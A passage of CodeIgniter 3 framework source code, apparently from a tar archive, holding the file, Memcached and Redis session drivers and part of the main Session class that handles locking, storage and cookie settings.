(extension_loaded('mbstring') && ini_get('mbstring.func_override')); } // ------------------------------------------------------------------------ /** * Open * * Sanitizes the save_path directory. * * @param string $save_path Path to session files' directory * @param string $name Session cookie name * @return bool */ public function open($save_path, $name) { if ( ! is_dir($save_path)) { if ( ! mkdir($save_path, 0700, TRUE)) { throw new Exception("Session: Configured save path '".$this->_config['save_path']."' is not a directory, doesn't exist or cannot be created."); } } elseif ( ! is_writable($save_path)) { throw new Exception("Session: Configured save path '".$this->_config['save_path']."' is not writable by the PHP process."); } $this->_config['save_path'] = $save_path; $this->_file_path = $this->_config['save_path'].DIRECTORY_SEPARATOR .$name // we'll use the session cookie name as a prefix to avoid collisions .($this->_config['match_ip'] ? md5($_SERVER['REMOTE_ADDR']) : ''); return $this->_success; } // ------------------------------------------------------------------------ /** * Read * * Reads session data and acquires a lock * * @param string $session_id Session ID * @return string Serialized session data */ public function read($session_id) { // This might seem weird, but PHP 5.6 introduces session_reset(), // which re-reads session data if ($this->_file_handle === NULL) { $this->_file_new = ! file_exists($this->_file_path.$session_id); if (($this->_file_handle = fopen($this->_file_path.$session_id, 'c+b')) === FALSE) { log_message('error', "Session: Unable to open file '".$this->_file_path.$session_id."'."); return $this->_failure; } if (flock($this->_file_handle, LOCK_EX) === FALSE) { log_message('error', "Session: Unable to obtain lock for file '".$this->_file_path.$session_id."'."); fclose($this->_file_handle); $this->_file_handle = NULL; return $this->_failure; } // Needed by write() to detect session_regenerate_id() calls $this->_session_id = $session_id; if ($this->_file_new) { chmod($this->_file_path.$session_id, 0600); $this->_fingerprint = md5(''); return ''; } } // We shouldn't need this, but apparently we do ... // See https://github.com/bcit-ci/CodeIgniter/issues/4039 elseif ($this->_file_handle === FALSE) { return $this->_failure; } else { rewind($this->_file_handle); } $session_data = ''; for ($read = 0, $length = filesize($this->_file_path.$session_id); $read < $length; $read += self::strlen($buffer)) { if (($buffer = fread($this->_file_handle, $length - $read)) === FALSE) { break; } $session_data .= $buffer; } $this->_fingerprint = md5($session_data); return $session_data; } // ------------------------------------------------------------------------ /** * Write * * Writes (create / update) session data * * @param string $session_id Session ID * @param string $session_data Serialized session data * @return bool */ public function write($session_id, $session_data) { // If the two IDs don't match, we have a session_regenerate_id() call // and we need to close the old handle and open a new one if ($session_id !== $this->_session_id && ($this->close() === $this->_failure OR $this->read($session_id) === $this->_failure)) { return $this->_failure; } if ( ! is_resource($this->_file_handle)) { return $this->_failure; } elseif ($this->_fingerprint === md5($session_data)) { return ( ! $this->_file_new && ! touch($this->_file_path.$session_id)) ? $this->_failure : $this->_success; } if ( ! $this->_file_new) { ftruncate($this->_file_handle, 0); rewind($this->_file_handle); } if (($length = strlen($session_data)) > 0) { for ($written = 0; $written < $length; $written += $result) { if (($result = fwrite($this->_file_handle, substr($session_data, $written))) === FALSE) { break; } } if ( ! is_int($result)) { $this->_fingerprint = md5(substr($session_data, 0, $written)); log_message('error', 'Session: Unable to write data.'); return $this->_failure; } } $this->_fingerprint = md5($session_data); return $this->_success; } // ------------------------------------------------------------------------ /** * Close * * Releases locks and closes file descriptor. * * @return bool */ public function close() { if (is_resource($this->_file_handle)) { flock($this->_file_handle, LOCK_UN); fclose($this->_file_handle); $this->_file_handle = $this->_file_new = $this->_session_id = NULL; } return $this->_success; } // ------------------------------------------------------------------------ /** * Destroy * * Destroys the current session. * * @param string $session_id Session ID * @return bool */ public function destroy($session_id) { if ($this->close() === $this->_success) { if (file_exists($this->_file_path.$session_id)) { $this->_cookie_destroy(); return unlink($this->_file_path.$session_id) ? $this->_success : $this->_failure; } return $this->_success; } elseif ($this->_file_path !== NULL) { clearstatcache(); if (file_exists($this->_file_path.$session_id)) { $this->_cookie_destroy(); return unlink($this->_file_path.$session_id) ? $this->_success : $this->_failure; } return $this->_success; } return $this->_failure; } // ------------------------------------------------------------------------ /** * Garbage Collector * * Deletes expired sessions * * @param int $maxlifetime Maximum lifetime of sessions * @return bool */ public function gc($maxlifetime) { if ( ! is_dir($this->_config['save_path']) OR ($directory = opendir($this->_config['save_path'])) === FALSE) { log_message('debug', "Session: Garbage collector couldn't list files under directory '".$this->_config['save_path']."'."); return $this->_failure; } $ts = time() - $maxlifetime; $pattern = ($this->_config['match_ip'] === TRUE) ? '[0-9a-f]{32}' : ''; $pattern = sprintf( '#\A%s'.$pattern.$this->_sid_regexp.'\z#', preg_quote($this->_config['cookie_name']) ); while (($file = readdir($directory)) !== FALSE) { // If the filename doesn't match this pattern, it's either not a session file or is not ours if ( ! preg_match($pattern, $file) OR ! is_file($this->_config['save_path'].DIRECTORY_SEPARATOR.$file) OR ($mtime = filemtime($this->_config['save_path'].DIRECTORY_SEPARATOR.$file)) === FALSE OR $mtime > $ts) { continue; } unlink($this->_config['save_path'].DIRECTORY_SEPARATOR.$file); } closedir($directory); return $this->_success; } // -------------------------------------------------------------------- /** * Byte-safe strlen() * * @param string $str * @return int */ protected static function strlen($str) { return (self::$func_override) ? mb_strlen($str, '8bit') : strlen($str); } } Session/drivers/Session_memcached_driver.php 0000775 00000022603 15060054572 0015356 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CodeIgniter Session Memcached Driver * * @package CodeIgniter * @subpackage Libraries * @category Sessions * @author Andrey Andreev * @link https://codeigniter.com/user_guide/libraries/sessions.html */ class CI_Session_memcached_driver extends CI_Session_driver implements SessionHandlerInterface { /** * Memcached instance * * @var Memcached */ protected $_memcached; /** * Key prefix * * @var string */ protected $_key_prefix = 'ci_session:'; /** * Lock key * * @var string */ protected $_lock_key; // ------------------------------------------------------------------------ /** * Class constructor * * @param array $params Configuration parameters * @return void */ public function __construct(&$params) { parent::__construct($params); if (empty($this->_config['save_path'])) { log_message('error', 'Session: No Memcached save path configured.'); } if ($this->_config['match_ip'] === TRUE) { $this->_key_prefix .= $_SERVER['REMOTE_ADDR'].':'; } } // ------------------------------------------------------------------------ /** * Open * * Sanitizes save_path and initializes connections. * * @param string $save_path Server path(s) * @param string $name Session cookie name, unused * @return bool */ public function open($save_path, $name) { $this->_memcached = new Memcached(); $this->_memcached->setOption(Memcached::OPT_BINARY_PROTOCOL, TRUE); // required for touch() usage $server_list = array(); foreach ($this->_memcached->getServerList() as $server) { $server_list[] = $server['host'].':'.$server['port']; } if ( ! preg_match_all('#,?([^,:]+)\:(\d{1,5})(?:\:(\d+))?#', $this->_config['save_path'], $matches, PREG_SET_ORDER)) { $this->_memcached = NULL; log_message('error', 'Session: Invalid Memcached save path format: '.$this->_config['save_path']); return $this->_fail(); } foreach ($matches as $match) { // If Memcached already has this server (or if the port is invalid), skip it if (in_array($match[1].':'.$match[2], $server_list, TRUE)) { log_message('debug', 'Session: Memcached server pool already has '.$match[1].':'.$match[2]); continue; } if ( ! $this->_memcached->addServer($match[1], $match[2], isset($match[3]) ? $match[3] : 0)) { log_message('error', 'Could not add '.$match[1].':'.$match[2].' to Memcached server pool.'); } else { $server_list[] = $match[1].':'.$match[2]; } } if (empty($server_list)) { log_message('error', 'Session: Memcached server pool is empty.'); return $this->_fail(); } return $this->_success; } // ------------------------------------------------------------------------ /** * Read * * Reads session data and acquires a lock * * @param string $session_id Session ID * @return string Serialized session data */ public function read($session_id) { if (isset($this->_memcached) && $this->_get_lock($session_id)) { // Needed by write() to detect session_regenerate_id() calls $this->_session_id = $session_id; $session_data = (string) $this->_memcached->get($this->_key_prefix.$session_id); $this->_fingerprint = md5($session_data); return $session_data; } return $this->_fail(); } // ------------------------------------------------------------------------ /** * Write * * Writes (create / update) session data * * @param string $session_id Session ID * @param string $session_data Serialized session data * @return bool */ public function write($session_id, $session_data) { if ( ! isset($this->_memcached)) { return $this->_fail(); } // Was the ID regenerated? elseif ($session_id !== $this->_session_id) { if ( ! $this->_release_lock() OR ! $this->_get_lock($session_id)) { return $this->_fail(); } $this->_fingerprint = md5(''); $this->_session_id = $session_id; } if (isset($this->_lock_key)) { $key = $this->_key_prefix.$session_id; $this->_memcached->replace($this->_lock_key, time(), 300); if ($this->_fingerprint !== ($fingerprint = md5($session_data))) { if ($this->_memcached->set($key, $session_data, $this->_config['expiration'])) { $this->_fingerprint = $fingerprint; return $this->_success; } return $this->_fail(); } elseif ( $this->_memcached->touch($key, $this->_config['expiration']) OR ($this->_memcached->getResultCode() === Memcached::RES_NOTFOUND && $this->_memcached->set($key, $session_data, $this->_config['expiration'])) ) { return $this->_success; } } return $this->_fail(); } // ------------------------------------------------------------------------ /** * Close * * Releases locks and closes connection. * * @return bool */ public function close() { if (isset($this->_memcached)) { $this->_release_lock(); if ( ! $this->_memcached->quit()) { return $this->_fail(); } $this->_memcached = NULL; return $this->_success; } return $this->_fail(); } // ------------------------------------------------------------------------ /** * Destroy * * Destroys the current session. * * @param string $session_id Session ID * @return bool */ public function destroy($session_id) { if (isset($this->_memcached, $this->_lock_key)) { $this->_memcached->delete($this->_key_prefix.$session_id); $this->_cookie_destroy(); return $this->_success; } return $this->_fail(); } // ------------------------------------------------------------------------ /** * Garbage Collector * * Deletes expired sessions * * @param int $maxlifetime Maximum lifetime of sessions * @return bool */ public function gc($maxlifetime) { // Not necessary, Memcached takes care of that. return $this->_success; } // ------------------------------------------------------------------------ /** * Get lock * * Acquires an (emulated) lock. * * @param string $session_id Session ID * @return bool */ protected function _get_lock($session_id) { // PHP 7 reuses the SessionHandler object on regeneration, // so we need to check here if the lock key is for the // correct session ID. if ($this->_lock_key === $this->_key_prefix.$session_id.':lock') { if ( ! $this->_memcached->replace($this->_lock_key, time(), 300)) { return ($this->_memcached->getResultCode() === Memcached::RES_NOTFOUND) ? $this->_memcached->set($this->_lock_key, time(), 300) : FALSE; } } // 30 attempts to obtain a lock, in case another request already has it $lock_key = $this->_key_prefix.$session_id.':lock'; $attempt = 0; do { if ($this->_memcached->get($lock_key)) { sleep(1); continue; } if ( ! $this->_memcached->set($lock_key, time(), 300)) { log_message('error', 'Session: Error while trying to obtain lock for '.$this->_key_prefix.$session_id); return FALSE; } $this->_lock_key = $lock_key; break; } while (++$attempt < 30); if ($attempt === 30) { log_message('error', 'Session: Unable to obtain lock for '.$this->_key_prefix.$session_id.' after 30 attempts, aborting.'); return FALSE; } $this->_lock = TRUE; return TRUE; } // ------------------------------------------------------------------------ /** * Release lock * * Releases a previously acquired lock * * @return bool */ protected function _release_lock() { if (isset($this->_memcached, $this->_lock_key) && $this->_lock) { if ( ! $this->_memcached->delete($this->_lock_key) && $this->_memcached->getResultCode() !== Memcached::RES_NOTFOUND) { log_message('error', 'Session: Error while trying to free lock for '.$this->_lock_key); return FALSE; } $this->_lock_key = NULL; $this->_lock = FALSE; } return TRUE; } } Session/drivers/Session_redis_driver.php 0000775 00000024063 15060054572 0014560 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CodeIgniter Session Redis Driver * * @package CodeIgniter * @subpackage Libraries * @category Sessions * @author Andrey Andreev * @link https://codeigniter.com/user_guide/libraries/sessions.html */ class CI_Session_redis_driver extends CI_Session_driver implements SessionHandlerInterface { /** * phpRedis instance * * @var resource */ protected $_redis; /** * Key prefix * * @var string */ protected $_key_prefix = 'ci_session:'; /** * Lock key * * @var string */ protected $_lock_key; /** * Key exists flag * * @var bool */ protected $_key_exists = FALSE; // ------------------------------------------------------------------------ /** * Class constructor * * @param array $params Configuration parameters * @return void */ public function __construct(&$params) { parent::__construct($params); if (empty($this->_config['save_path'])) { log_message('error', 'Session: No Redis save path configured.'); } elseif (preg_match('#(?:tcp://)?([^:?]+)(?:\:(\d+))?(\?.+)?#', $this->_config['save_path'], $matches)) { isset($matches[3]) OR $matches[3] = ''; // Just to avoid undefined index notices below $this->_config['save_path'] = array( 'host' => $matches[1], 'port' => empty($matches[2]) ? NULL : $matches[2], 'password' => preg_match('#auth=([^\s&]+)#', $matches[3], $match) ? $match[1] : NULL, 'database' => preg_match('#database=(\d+)#', $matches[3], $match) ? (int) $match[1] : NULL, 'timeout' => preg_match('#timeout=(\d+\.\d+)#', $matches[3], $match) ? (float) $match[1] : NULL ); preg_match('#prefix=([^\s&]+)#', $matches[3], $match) && $this->_key_prefix = $match[1]; } else { log_message('error', 'Session: Invalid Redis save path format: '.$this->_config['save_path']); } if ($this->_config['match_ip'] === TRUE) { $this->_key_prefix .= $_SERVER['REMOTE_ADDR'].':'; } } // ------------------------------------------------------------------------ /** * Open * * Sanitizes save_path and initializes connection. * * @param string $save_path Server path * @param string $name Session cookie name, unused * @return bool */ public function open($save_path, $name) { if (empty($this->_config['save_path'])) { return $this->_fail(); } $redis = new Redis(); if ( ! $redis->connect($this->_config['save_path']['host'], $this->_config['save_path']['port'], $this->_config['save_path']['timeout'])) { log_message('error', 'Session: Unable to connect to Redis with the configured settings.'); } elseif (isset($this->_config['save_path']['password']) && ! $redis->auth($this->_config['save_path']['password'])) { log_message('error', 'Session: Unable to authenticate to Redis instance.'); } elseif (isset($this->_config['save_path']['database']) && ! $redis->select($this->_config['save_path']['database'])) { log_message('error', 'Session: Unable to select Redis database with index '.$this->_config['save_path']['database']); } else { $this->_redis = $redis; return $this->_success; } return $this->_fail(); } // ------------------------------------------------------------------------ /** * Read * * Reads session data and acquires a lock * * @param string $session_id Session ID * @return string Serialized session data */ public function read($session_id) { if (isset($this->_redis) && $this->_get_lock($session_id)) { // Needed by write() to detect session_regenerate_id() calls $this->_session_id = $session_id; $session_data = $this->_redis->get($this->_key_prefix.$session_id); is_string($session_data) ? $this->_key_exists = TRUE : $session_data = ''; $this->_fingerprint = md5($session_data); return $session_data; } return $this->_fail(); } // ------------------------------------------------------------------------ /** * Write * * Writes (create / update) session data * * @param string $session_id Session ID * @param string $session_data Serialized session data * @return bool */ public function write($session_id, $session_data) { if ( ! isset($this->_redis)) { return $this->_fail(); } // Was the ID regenerated? elseif ($session_id !== $this->_session_id) { if ( ! $this->_release_lock() OR ! $this->_get_lock($session_id)) { return $this->_fail(); } $this->_key_exists = FALSE; $this->_session_id = $session_id; } if (isset($this->_lock_key)) { $this->_redis->setTimeout($this->_lock_key, 300); if ($this->_fingerprint !== ($fingerprint = md5($session_data)) OR $this->_key_exists === FALSE) { if ($this->_redis->set($this->_key_prefix.$session_id, $session_data, $this->_config['expiration'])) { $this->_fingerprint = $fingerprint; $this->_key_exists = TRUE; return $this->_success; } return $this->_fail(); } return ($this->_redis->setTimeout($this->_key_prefix.$session_id, $this->_config['expiration'])) ? $this->_success : $this->_fail(); } return $this->_fail(); } // ------------------------------------------------------------------------ /** * Close * * Releases locks and closes connection. * * @return bool */ public function close() { if (isset($this->_redis)) { try { if ($this->_redis->ping() === '+PONG') { $this->_release_lock(); if ($this->_redis->close() === FALSE) { return $this->_fail(); } } } catch (RedisException $e) { log_message('error', 'Session: Got RedisException on close(): '.$e->getMessage()); } $this->_redis = NULL; return $this->_success; } return $this->_success; } // ------------------------------------------------------------------------ /** * Destroy * * Destroys the current session. * * @param string $session_id Session ID * @return bool */ public function destroy($session_id) { if (isset($this->_redis, $this->_lock_key)) { if (($result = $this->_redis->delete($this->_key_prefix.$session_id)) !== 1) { log_message('debug', 'Session: Redis::delete() expected to return 1, got '.var_export($result, TRUE).' instead.'); } $this->_cookie_destroy(); return $this->_success; } return $this->_fail(); } // ------------------------------------------------------------------------ /** * Garbage Collector * * Deletes expired sessions * * @param int $maxlifetime Maximum lifetime of sessions * @return bool */ public function gc($maxlifetime) { // Not necessary, Redis takes care of that. return $this->_success; } // ------------------------------------------------------------------------ /** * Get lock * * Acquires an (emulated) lock. * * @param string $session_id Session ID * @return bool */ protected function _get_lock($session_id) { // PHP 7 reuses the SessionHandler object on regeneration, // so we need to check here if the lock key is for the // correct session ID. if ($this->_lock_key === $this->_key_prefix.$session_id.':lock') { return $this->_redis->setTimeout($this->_lock_key, 300); } // 30 attempts to obtain a lock, in case another request already has it $lock_key = $this->_key_prefix.$session_id.':lock'; $attempt = 0; do { if (($ttl = $this->_redis->ttl($lock_key)) > 0) { sleep(1); continue; } if ( ! $this->_redis->setex($lock_key, 300, time())) { log_message('error', 'Session: Error while trying to obtain lock for '.$this->_key_prefix.$session_id); return FALSE; } $this->_lock_key = $lock_key; break; } while (++$attempt < 30); if ($attempt === 30) { log_message('error', 'Session: Unable to obtain lock for '.$this->_key_prefix.$session_id.' after 30 attempts, aborting.'); return FALSE; } elseif ($ttl === -1) { log_message('debug', 'Session: Lock for '.$this->_key_prefix.$session_id.' had no TTL, overriding.'); } $this->_lock = TRUE; return TRUE; } // ------------------------------------------------------------------------ /** * Release lock * * Releases a previously acquired lock * * @return bool */ protected function _release_lock() { if (isset($this->_redis, $this->_lock_key) && $this->_lock) { if ( ! $this->_redis->delete($this->_lock_key)) { log_message('error', 'Session: Error while trying to free lock for '.$this->_lock_key); return FALSE; } $this->_lock_key = NULL; $this->_lock = FALSE; } return TRUE; } } Session/drivers/index.html 0000775 00000000203 15060054572 0011646 0 ustar 00 <!DOCTYPE html> <html> <head> <title>403 Forbidden</title> </head> <body> <p>Directory access is forbidden.</p> </body> </html> Session/Session.php 0000775 00000055105 15060054572 0010342 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 2.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CodeIgniter Session Class * * @package CodeIgniter * @subpackage Libraries * @category Sessions * @author Andrey Andreev * @link https://codeigniter.com/user_guide/libraries/sessions.html */ class CI_Session { /** * Userdata array * * Just a reference to $_SESSION, for BC purposes. */ public $userdata; protected $_driver = 'files'; protected $_config; protected $_sid_regexp; // ------------------------------------------------------------------------ /** * Class constructor * * @param array $params Configuration parameters * @return void */ public function __construct(array $params = array()) { // No sessions under CLI if (is_cli()) { log_message('debug', 'Session: Initialization under CLI aborted.'); return; } elseif ((bool) ini_get('session.auto_start')) { log_message('error', 'Session: session.auto_start is enabled in php.ini. Aborting.'); return; } elseif ( ! empty($params['driver'])) { $this->_driver = $params['driver']; unset($params['driver']); } elseif ($driver = config_item('sess_driver')) { $this->_driver = $driver; } // Note: BC workaround elseif (config_item('sess_use_database')) { log_message('debug', 'Session: "sess_driver" is empty; using BC fallback to "sess_use_database".'); $this->_driver = 'database'; } $class = $this->_ci_load_classes($this->_driver); // Configuration ... $this->_configure($params); $this->_config['_sid_regexp'] = $this->_sid_regexp; $class = new $class($this->_config); if ($class instanceof SessionHandlerInterface) { if (is_php('5.4')) { session_set_save_handler($class, TRUE); } else { session_set_save_handler( array($class, 'open'), array($class, 'close'), array($class, 'read'), array($class, 'write'), array($class, 'destroy'), array($class, 'gc') ); register_shutdown_function('session_write_close'); } } else { log_message('error', "Session: Driver '".$this->_driver."' doesn't implement SessionHandlerInterface. Aborting."); return; } // Sanitize the cookie, because apparently PHP doesn't do that for userspace handlers if (isset($_COOKIE[$this->_config['cookie_name']]) && ( ! is_string($_COOKIE[$this->_config['cookie_name']]) OR ! preg_match('#\A'.$this->_sid_regexp.'\z#', $_COOKIE[$this->_config['cookie_name']]) ) ) { unset($_COOKIE[$this->_config['cookie_name']]); } session_start(); // Is session ID auto-regeneration configured? (ignoring ajax requests) if ((empty($_SERVER['HTTP_X_REQUESTED_WITH']) OR strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) !== 'xmlhttprequest') && ($regenerate_time = config_item('sess_time_to_update')) > 0 ) { if ( ! isset($_SESSION['__ci_last_regenerate'])) { $_SESSION['__ci_last_regenerate'] = time(); } elseif ($_SESSION['__ci_last_regenerate'] < (time() - $regenerate_time)) { $this->sess_regenerate((bool) config_item('sess_regenerate_destroy')); } } // Another work-around ... PHP doesn't seem to send the session cookie // unless it is being currently created or regenerated elseif (isset($_COOKIE[$this->_config['cookie_name']]) && $_COOKIE[$this->_config['cookie_name']] === session_id()) { setcookie( $this->_config['cookie_name'], session_id(), (empty($this->_config['cookie_lifetime']) ? 0 : time() + $this->_config['cookie_lifetime']), $this->_config['cookie_path'], $this->_config['cookie_domain'], $this->_config['cookie_secure'], TRUE ); } $this->_ci_init_vars(); log_message('info', "Session: Class initialized using '".$this->_driver."' driver."); } // ------------------------------------------------------------------------ /** * CI Load Classes * * An internal method to load all possible dependency and extension * classes. It kind of emulates the CI_Driver library, but is * self-sufficient. * * @param string $driver Driver name * @return string Driver class name */ protected function _ci_load_classes($driver) { // PHP 5.4 compatibility interface_exists('SessionHandlerInterface', FALSE) OR require_once(BASEPATH.'libraries/Session/SessionHandlerInterface.php'); $prefix = config_item('subclass_prefix'); if ( ! class_exists('CI_Session_driver', FALSE)) { require_once( file_exists(APPPATH.'libraries/Session/Session_driver.php') ? APPPATH.'libraries/Session/Session_driver.php' : BASEPATH.'libraries/Session/Session_driver.php' ); if (file_exists($file_path = APPPATH.'libraries/Session/'.$prefix.'Session_driver.php')) { require_once($file_path); } } $class = 'Session_'.$driver.'_driver'; // Allow custom drivers without the CI_ or MY_ prefix if ( ! class_exists($class, FALSE) && file_exists($file_path = APPPATH.'libraries/Session/drivers/'.$class.'.php')) { require_once($file_path); if (class_exists($class, FALSE)) { return $class; } } if ( ! class_exists('CI_'.$class, FALSE)) { if (file_exists($file_path = APPPATH.'libraries/Session/drivers/'.$class.'.php') OR file_exists($file_path = BASEPATH.'libraries/Session/drivers/'.$class.'.php')) { require_once($file_path); } if ( ! class_exists('CI_'.$class, FALSE) && ! class_exists($class, FALSE)) { throw new UnexpectedValueException("Session: Configured driver '".$driver."' was not found. Aborting."); } } if ( ! class_exists($prefix.$class, FALSE) && file_exists($file_path = APPPATH.'libraries/Session/drivers/'.$prefix.$class.'.php')) { require_once($file_path); if (class_exists($prefix.$class, FALSE)) { return $prefix.$class; } else { log_message('debug', 'Session: '.$prefix.$class.".php found but it doesn't declare class ".$prefix.$class.'.'); } } return 'CI_'.$class; } // ------------------------------------------------------------------------ /** * Configuration * * Handle input parameters and configuration defaults * * @param array &$params Input parameters * @return void */ protected function _configure(&$params) { $expiration = config_item('sess_expiration'); if (isset($params['cookie_lifetime'])) { $params['cookie_lifetime'] = (int) $params['cookie_lifetime']; } else { $params['cookie_lifetime'] = ( ! isset($expiration) && config_item('sess_expire_on_close')) ? 0 : (int) $expiration; } isset($params['cookie_name']) OR $params['cookie_name'] = config_item('sess_cookie_name'); if (empty($params['cookie_name'])) { $params['cookie_name'] = ini_get('session.name'); } else { ini_set('session.name', $params['cookie_name']); } isset($params['cookie_path']) OR $params['cookie_path'] = config_item('cookie_path'); isset($params['cookie_domain']) OR $params['cookie_domain'] = config_item('cookie_domain'); isset($params['cookie_secure']) OR $params['cookie_secure'] = (bool) config_item('cookie_secure'); session_set_cookie_params( $params['cookie_lifetime'], $params['cookie_path'], $params['cookie_domain'], $params['cookie_secure'], TRUE // HttpOnly; Yes, this is intentional and not configurable for security reasons ); if (empty($expiration)) { $params['expiration'] = (int) ini_get('session.gc_maxlifetime'); } else { $params['expiration'] = (int) $expiration; ini_set('session.gc_maxlifetime', $expiration); } $params['match_ip'] = (bool) (isset($params['match_ip']) ? $params['match_ip'] : config_item('sess_match_ip')); isset($params['save_path']) OR $params['save_path'] = config_item('sess_save_path'); $this->_config = $params; // Security is king ini_set('session.use_trans_sid', 0); ini_set('session.use_strict_mode', 1); ini_set('session.use_cookies', 1); ini_set('session.use_only_cookies', 1); $this->_configure_sid_length(); } // ------------------------------------------------------------------------ /** * Configure session ID length * * To make life easier, we used to force SHA-1 and 4 bits per * character on everyone. And of course, someone was unhappy. * * Then PHP 7.1 broke backwards-compatibility because ext/session * is such a mess that nobody wants to touch it with a pole stick, * and the one guy who does, nobody has the energy to argue with. * * So we were forced to make changes, and OF COURSE something was * going to break and now we have this pile of shit. -- Narf * * @return void */ protected function _configure_sid_length() { if (PHP_VERSION_ID < 70100) { $hash_function = ini_get('session.hash_function'); if (ctype_digit($hash_function)) { if ($hash_function !== '1') { ini_set('session.hash_function', 1); } $bits = 160; } elseif ( ! in_array($hash_function, hash_algos(), TRUE)) { ini_set('session.hash_function', 1); $bits = 160; } elseif (($bits = strlen(hash($hash_function, 'dummy', false)) * 4) < 160) { ini_set('session.hash_function', 1); $bits = 160; } $bits_per_character = (int) ini_get('session.hash_bits_per_character'); $sid_length = (int) ceil($bits / $bits_per_character); } else { $bits_per_character = (int) ini_get('session.sid_bits_per_character'); $sid_length = (int) ini_get('session.sid_length'); if (($bits = $sid_length * $bits_per_character) < 160) { // Add as many more characters as necessary to reach at least 160 bits $sid_length += (int) ceil((160 % $bits) / $bits_per_character); ini_set('session.sid_length', $sid_length); } } // Yes, 4,5,6 are the only known possible values as of 2016-10-27 switch ($bits_per_character) { case 4: $this->_sid_regexp = '[0-9a-f]'; break; case 5: $this->_sid_regexp = '[0-9a-v]'; break; case 6: $this->_sid_regexp = '[0-9a-zA-Z,-]'; break; } $this->_sid_regexp .= '{'.$sid_length.'}'; } // ------------------------------------------------------------------------ /** * Handle temporary variables * * Clears old "flash" data, marks the new one for deletion and handles * "temp" data deletion. * * @return void */ protected function _ci_init_vars() { if ( ! empty($_SESSION['__ci_vars'])) { $current_time = time(); foreach ($_SESSION['__ci_vars'] as $key => &$value) { if ($value === 'new') { $_SESSION['__ci_vars'][$key] = 'old'; } // Hacky, but 'old' will (implicitly) always be less than time() ;) // DO NOT move this above the 'new' check! elseif ($value < $current_time) { unset($_SESSION[$key], $_SESSION['__ci_vars'][$key]); } } if (empty($_SESSION['__ci_vars'])) { unset($_SESSION['__ci_vars']); } } $this->userdata =& $_SESSION; } // ------------------------------------------------------------------------ /** * Mark as flash * * @param mixed $key Session data key(s) * @return bool */ public function mark_as_flash($key) { if (is_array($key)) { for ($i = 0, $c = count($key); $i < $c; $i++) { 